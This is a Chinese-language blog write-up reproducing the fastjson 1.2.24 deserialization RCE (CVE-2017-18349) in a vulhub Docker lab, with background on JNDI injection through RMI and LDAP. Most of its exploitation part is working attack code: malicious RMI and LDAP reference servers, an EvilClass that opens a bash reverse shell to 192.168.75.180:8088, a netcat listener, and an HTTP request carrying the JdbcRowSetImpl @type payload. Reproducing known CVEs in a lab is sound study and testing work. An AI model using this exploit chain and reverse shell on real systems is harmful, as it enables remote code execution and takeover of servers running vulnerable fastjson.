fastjson1.2.24 CVE-2017-18349 漏洞復現

fastjson1.2.24 CVE-2017-18349 漏洞復現

時間不等人啊/(ㄒoㄒ)/~~

0. 前置知識

建議直接看參考鏈接

JNDI:Java命名和目錄接口

RMI:遠程方法調用注冊表

LDAP:輕量級目錄訪問協議

CORBA:公共對象請求代理體系結構

1. jndi

JNDI InitialContext類

構造方法

InitialContext() 
構建一個初始上下文。(獲取初始目錄環境)  
InitialContext(boolean lazy) 
構造一個初始上下文,并選擇不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的環境構建初始上下文。

常用方法

bind(Name name, Object obj) 
將名稱綁定到對象。 
list(String name) 
枚舉在命名上下文中綁定的名稱以及綁定到它們的對象的類名。
lookup(String name) 
檢索命名對象。 
rebind(String name, Object obj) 
將名稱綁定到對象,覆蓋任何現有綁定。 
unbind(String name) 
取消綁定命名對象。

示例

import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {String uri = "rmi://127.0.0.1:1099/work";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}

Reference類

構造方法

Reference(String className) 
為類名為“className”的對象構造一個新的引用。  
Reference(String className, RefAddr addr) 
為類名為“className”的對象和地址構造一個新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
為類名為“className”的對象,對象工廠的類名和位置以及對象的地址構造一個新引用。  
Reference(String className, String factory, String factoryLocation) 
為類名為“className”的對象以及對象工廠的類名和位置構造一個新引用。

示例

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

參數1:className – 遠程加載時所使用的類名

參數2:Factory – 加載的class中需要實例化類的名稱

參數3:FactoryLocation – 提供classes數據的地址可以是*file/ftp/http***協議

常用方法

void add(int posn, RefAddr addr) 
將地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
將地址添加到地址列表的末尾。  
void clear() 
從此引用中刪除所有地址。  
RefAddr get(int posn) 
檢索索引posn上的地址。  
RefAddr get(String addrType) 
檢索地址類型為“addrType”的第一個地址。  
Enumeration<RefAddr> getAll() 
檢索本參考文獻中地址的列舉。  
String getClassName() 
檢索引用引用的對象的類名。  
String getFactoryClassLocation() 
檢索此引用引用的對象的工廠位置。  
String getFactoryClassName() 
檢索此引用引用對象的工廠的類名。    
Object remove(int posn) 
從地址列表中刪除索引posn上的地址。  
int size() 
檢索此引用中的地址數。  
String toString() 
生成此引用的字符串表示形式。

2. jndi注入的利用條件

  • 客戶端的lookup()方法的參數可控
  • **服務端在使用Reference時,**Reference(String className, String factory, String factoryLocation)中,factoryLocation參數可控/可利用

滿足任一即可,jdk版本要求如下:

  • JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121開始:java.rmi.server.useCodebaseOnly的默認值被設置為true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性
  • JDK 6u141、7u131、8u121開始:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認為false,禁止RMI和CORBA協議使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URI為LDAP協議來進行JNDI注入攻擊
  • JDK 6u211、7u201、8u191開始:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了

小迪安全里的表格

JDK6JDK7JDK8JDK11
RMI可用<6u132<7u122<8u113
LDAP可用<6u211<7u201<8u191<11.0.1

3. RMI+JNDI方式

RMI+JNDI注入就是將惡意的Reference類綁定在RMI注冊表中,其中惡意引用指向遠程惡意的class文件,當用戶在JNDI客戶端的lookup()函數參數外部可控或Reference類構造方法的classFactoryLocation參數外部可控時,會使用戶的JNDI客戶端訪問RMI注冊表中綁定的惡意Reference類,從而加載遠程服務器上的惡意class文件在客戶端本地執行,最終實現JNDI注入攻擊導致遠程代碼執行

因為Reference沒有實現Remote接口也沒有繼承UnicastRemoteObject類,故不能作為遠程對象bind到注冊中心,所以需要使用ReferenceWrapper對Reference的實例進行一個封裝。

服務器端

//server.java
package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://127.0.0.1:8081/";//惡意代碼test.class在http://127.0.0.1:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("test", "test", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}

test.java

//test.java
//不要包名
public class test {public test() throws Exception{Runtime.getRuntime().exec("calc");}
}
編譯:javac test.java
部署在web服務上:python3 -m http.server 8081 #端口根據前面服務端url的端口

當客戶端通過InitialContext().lookup(“rmi://127.0.0.1:8081/obj”)獲取遠程對象時,會執行我們的惡意代碼

//client.java
package JNDI;import javax.naming.InitialContext;
import javax.naming.NamingException;public class client {public static void main(String[] args) throws NamingException {String url = "rmi://localhost:1099/obj";InitialContext initialContext = new InitialContext();initialContext.lookup(url);}
}

4. LDAP+JNDI方式

JDK<8u191

服務端maven需要添加如下依賴:

java

<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.0</version>
</dependency>

服務端ldap_server.java

package JNDI;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class ldap_sever {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://127.0.0.1:8081/#test"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));//設置監聽地址為 0.0.0.0:7777,并綁定默認的 ServerSocketFactory 和 SocketFactory。config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));//添加一個自定義的 OperationInterceptor,用于攔截客戶端的查詢請求并返回惡意響應。InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();//啟動 LDAP 服務器}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {//構造一個惡意的 LDAP 響應String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();//遠程urlint refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$   //設置為遠程 URL 的 ref 部分e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);//發送惡意響應result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

客戶端ldap_client.java

package JNDI;import javax.naming.InitialContext;public class ldap_client {public static void main(String[] args) throws Exception{Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");}
}
JDK >= 8u191

關于JDK >= 8u191的利用目前公開有兩種繞過的方法,

兩種繞過?法如下: 1、找到?個受害者本地 CLASSPATH 中的類作為惡意的 Reference Factory 工廠類, 并利用這個本地的 Factory 類執行命令. 2、利? LDAP 直接返回?個惡意的序列化對象, JNDI 注?依然會對該對象進?反序列化操作, 利用反序列化 Gadget(已有代碼片段) 完成命令執行. 
這兩種?式都依賴受害者本地 CLASSPATH 中環境, 需要利?受害者本地的 Gadget 進行攻擊

詳見參考文章

1. 環境搭建

windows環境

自行下載docker desktop

下載netcat,并添加環境變量

https://eternallybored.org/misc/netcat/

下載git

https://git-scm.com/downloads/win

下載vulhub

git clone https://github.com/vulhub/vulhub.git

啟動docker容器

C:\Users\21609\vulhub\fastjson\1.2.24-rce>docker-compose up -d

在這里插入圖片描述

在docker desktop進容器里執行命令

su 
find / -name "*.jar"
#或者cmd終端里sudo docker exec -it 5ddafb45c605 /bin/bash 
java -version
#可知容器jdk版本openjdk version "1.8.0_102"

在這里插入圖片描述

將文件拷貝到本地

docker cp 5ddafb45c605:/usr/src/fastjsondemo.jar fastjsondemo.jar

在這里插入圖片描述

改后綴為zip后解壓,用idea打開

idea的project structure里設置jdk為jdk1.8.0_65

2. 分析

該代碼是一個Spring MVC控制器,主要處理JSON數據的序列化與反序列化

  • 使用@Controller注解聲明控制器類,并通過@ResponseBody實現響應體自動序列化為JSON?1

  • @RequestMapping通過method參數區分GET/POST請求,符合RESTful設計規范

  • @RequestBody接收的User對象若包含未校驗字段,可能存在反序列化攻擊風險

在這里插入圖片描述

我們的payload(JdbcRowSetImpl利用鏈)格式如下:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}

idea裏面Navigate->Search Everywhere查找JdbcRowSetImpl,找到C:\Program Files\Java\jdk1.8.0_65\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class

conn為null,"autoCommit":true時,會調用this.conn=this.connect()

在這里插入圖片描述

dataSourceName不為null時,會調用lookup函數,并且獲取到getDataSourceName的值

在這里插入圖片描述

3. 采用JNDI+RMI注入

我們采用JNDI+RMI注入(利用惡意序列化對象執行任意代碼)的思路

在這里插入圖片描述

惡意類

// EvilClass.java
import java.lang.Runtime;//記得導入庫
import java.lang.Process;
public class EvilClass {static {try {// 反彈shellProcess pc=Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.75.180/8088 0>&1"});System.out.println("惡意代碼已執行!");pc.waitFor();} catch (Exception e) {e.printStackTrace();}}
}

jdk1.8.0_65將這個類編譯成 .class 文件,輸出到code目錄下

javac  C:\Users\21609\IdeaProjects\maven1\src\main\java\com\jk\web\EvilClass.java -d C:\Users\21609\Desktop\code

在code目錄下開cmd,啟動http服務

#python3
python -m http.server 8081
#python2
#python -m SimpleHTTPServer 8081

服務器端,在idea里運行

package com.jk.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://192.168.75.180/";//惡意代碼EvilClass.class在http://192.168.75.180:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("EvilClass", "EvilClass", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}

開個cmd,使用netcat監聽8088端口

nc -lvvp 8088

burpsuite抓包,send to repeater

POST / HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 131{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}

在這里插入圖片描述

參考

javasec(八)jndi注入 海嶼-uf9n1x

Java反序列化之FastJson1.2.24 IDEA動態調試解析 不用再等

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/72418.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/72418.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/72418.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【計算機視覺】手勢識別

手勢識別是計算機視覺領域中的重要方向&#xff0c;通過對攝像機采集的手部相關的圖像序列進行分析處理&#xff0c;進而識別其中的手勢&#xff0c;手勢被識別后用戶就可以通過手勢來控制設備或者與設備交互。完整的手勢識別一般有手的檢測和姿態估計、手部跟蹤和手勢識別等。…

Leetcode 37: 解數獨

Leetcode 37: 解數獨 是經典的回溯算法問題&#xff0c;考察如何利用遞歸和剪枝高效求解數獨問題。這題主要考察對回溯、遞歸、深度優先搜索 (DFS)、剪枝優化等算法思想的掌握。 題目描述 給定一個部分填充的數獨&#xff08;9 x 9&#xff09;網格&#xff0c;用一個有效的算…

VSCode 移除EmmyLua插件的紅色波浪線提示

VSCode 中安裝插件EmmyLua&#xff0c;然后打開lua文件的時候&#xff0c;如果lua代碼引用了C#腳本的變量&#xff0c;經常出現 “undefined global variable: UnityEngineEmmyLua(undefined-global)” 的紅色波浪線提示&#xff0c;這個提示看著比較煩人&#xff0c;我們可以通…

【音視頻】視頻基本概念

一、視頻的基本概念 1.1 視頻碼率&#xff08;kb/s&#xff09; 視頻碼率是指視頻文件在單位時間內使用的數據流量&#xff0c;也叫碼流率。碼率越大&#xff0c;說明單位時間內取樣率越大&#xff0c;數據流進度也就越高 1.2 視頻幀率&#xff08;fps&#xff09; 視頻幀率…

Grafana服務安裝并啟動

Grafana服務安裝并啟動 1、介紹2、下載Grafana3、解壓縮文件4、啟動Grafana服務5、增加數據源,填寫Prometheus訪問地址6、增加圖表 1、介紹 Grafana是一個開源的可視化系統監控和警報工具包。 2、下載Grafana 介紹&#xff1a;Grafana是一個開源的可視化系統監控和警報工具包…

如何將hf-mirror.com作為vllm默認的下載源? conda如何移除虛擬環境?conda 如何復制一份虛擬環境?

前言 上回咱說道,如果你沒辦法訪問huggingface.co,則可以把modelscope作為vllm默認的下載源。 但如果你非得用你用不了的huggingface.co呢?那你可以考慮將hf-mirror.com作為vllm默認的下載源。這里,hf-mirror.com和huggingface.co的效果是一樣的。 要將hf-mirror.com設為v…

MySQL零基礎教程14—子查詢

子查詢比較簡單&#xff0c;我們還是通過案例引入。 有時候我們查詢的時候&#xff0c;需要用到的不止一個表的數據&#xff0c;比如下面的場景&#xff1a; 查詢名字叫李曉紅同學的班主任姓名 我們提供三個表的基礎信息如下&#xff1a; 從三張表的結構&#xff0c;我們不難…

基于單片機和Wifi技術的智能臺燈設計

摘要 &#xff1a;本文主要介紹了基于單片機AT89C51和Wifi技術的智能臺燈的硬件和軟件設計。該智能臺燈具有根據當前光線自動調節燈光亮度的功能&#xff0c;還可對用戶使用臺燈時處于非正常的距離和姿態時給予報警提示&#xff0c;用戶可以隨時通過手機app查詢智能臺燈的報警記…

最新版AI大模型面試八股文

1、主流的開源大模型體系有哪些&#xff0c;并簡要介紹它們的特點&#xff1f; 這個問題考察面試者對當前大模型生態的了解&#xff0c;包括如 Transformer-based 模型&#xff08;如 BERT, GPT 系 列&#xff09;、T5、Switch Transformer 等&#xff0c;以及它們的架構特點和…

在MySQL拿到一條慢SQL語句要如何優化?

在工作的過程中&#xff0c;很多時候會發現執行業務邏輯的時候&#xff0c;某一條SQL語句執行得非常慢。這時候&#xff0c;要如何處理這條語句&#xff0c;如何判斷語句慢的地方在哪里&#xff1f; 一、初級排查 EXPLAIN慢SQL分析 MySQL官網用法&#xff1a; https://dev.mys…

leetcode hot 100 239. 滑動窗口最大值

給你一個整數數組 nums&#xff0c;有一個大小為 k 的滑動窗口從數組的最左側移動到數組的最右側。你只可以看到在滑動窗口內的 k 個數字。滑動窗口每次只向右移動一位。 返回 滑動窗口中的最大值 。 示例 1&#xff1a; 輸入&#xff1a;nums [1,3,-1,-3,5,3,6,7], k 3 輸…

Leetcode 189: 輪轉數組

Leetcode 189: 輪轉數組 這是一道經典問題&#xff0c;題目要求將一個數組向右輪轉 k 個位置&#xff0c;有多種解法可以快速求解&#xff0c;既可以通過額外空間&#xff0c;也可以在 O(1) 的空間復雜度內完成。本題考察數組操作、雙指針&#xff0c;以及算法優化能力。 題目…

優選算法的智慧之光:滑動窗口專題(二)

專欄&#xff1a;算法的魔法世界?????? 個人主頁&#xff1a;手握風云 目錄 一、例題講解 1.1. 最大連續1的個數 III 1.2. 找到字符串中所有字母異位詞 1.3. 串聯所有單詞的子串 1.4. 最小覆蓋子串 一、例題講解 1.1. 最大連續1的個數 III 題目要求是二進制數組&am…

Linux系統安裝Azure CLI完全指南

引言 Azure CLI是管理Azure云服務的重要命令行工具。本文將詳細介紹在Linux系統上安裝Azure CLI的兩種方法,并提供版本管理、故障排除等完整解決方案。 © ivwdcwso (ID: u012172506) 一、安裝前準備 1.1 系統要求 支持的Linux發行版: Ubuntu 20.04/22.04 LTSDebian 10/…

2025嵌入式軟件開發工程師--音頻方向

一、選擇題&#xff08;每題3分&#xff0c;共30分&#xff09; 1.以下哪個不是C語言中的關鍵字?&#xff08; &#xff09; A. int B. Float C. Define D. Return 2.以下代碼的輸出是: &#xff08; &#xff09; inta 5, b 10; printf("%d“, a b); A. 15 B.16 …

TCP/IP四層模型:從入門到精通

第一部分&#xff1a;基礎概念 1.1 什么是TCP/IP&#xff1f; - TCP/IP 是互聯網的基礎通信協議簇&#xff0c;定義了數據如何在網絡中傳輸和路由。 - 與OSI七層模型的對比&#xff1a;TCP/IP更簡化&#xff0c;分為四層&#xff0c;注重實際應用。 1.2 四層模型結構 1. 應…

【Python 數據結構 1.零基礎復習】

目錄 一、輸入與輸出 1.輸入 2.格式化輸出 二、數字與變量 1.字符串 & 整型 2.字符串 & 整型 & 浮點型 3.變量 練習 2235. 兩整數相加 三、運算與操作 1.四則運算 練習 2769. 找出最大的可達成數字 3.取整與取余 練習 2651. 計算列車到站時間 ?編輯 四、真與假 1…

什么是 MGX:MetaGPT

什么是 MGX:MetaGPT MetaGPT是由思碼逸(OpenDILab)團隊開發的一款專注于生成式AI驅動的軟件開發框架,MGX可能是其衍生或升級的相關成果,它創新性地將大語言模型引入軟件開發流程,模擬人類軟件團隊的協作方式,能讓用戶通過自然語言描述需求,即可自動生成完整的軟件項目,…

大模型時代下的數據標注革命:工具、挑戰與未來趨勢

引言 隨著大模型技術的飛速發展&#xff0c;人工智能對高質量標注數據的依賴愈發顯著。傳統的人工標注方式在效率、成本和場景適應性上逐漸顯現瓶頸&#xff0c;而大模型憑借其強大的泛化能力和多模態理解能力&#xff0c;正在推動數據標注從“勞動密集型”向“智能工業化”轉…

【azure openai】用tts實現語音對話【demo】

能實現&#xff1a; 只要替換里面的key&#xff0c;就能跑通。 key的查找方法&#xff1a; 【保姆級教程】如何在azure里快速找到openai的key和demo-CSDN博客 代碼結構&#xff1a; azure_openai_client.py main.py prompts_config.py speech_utils.py stt01.py tts01.…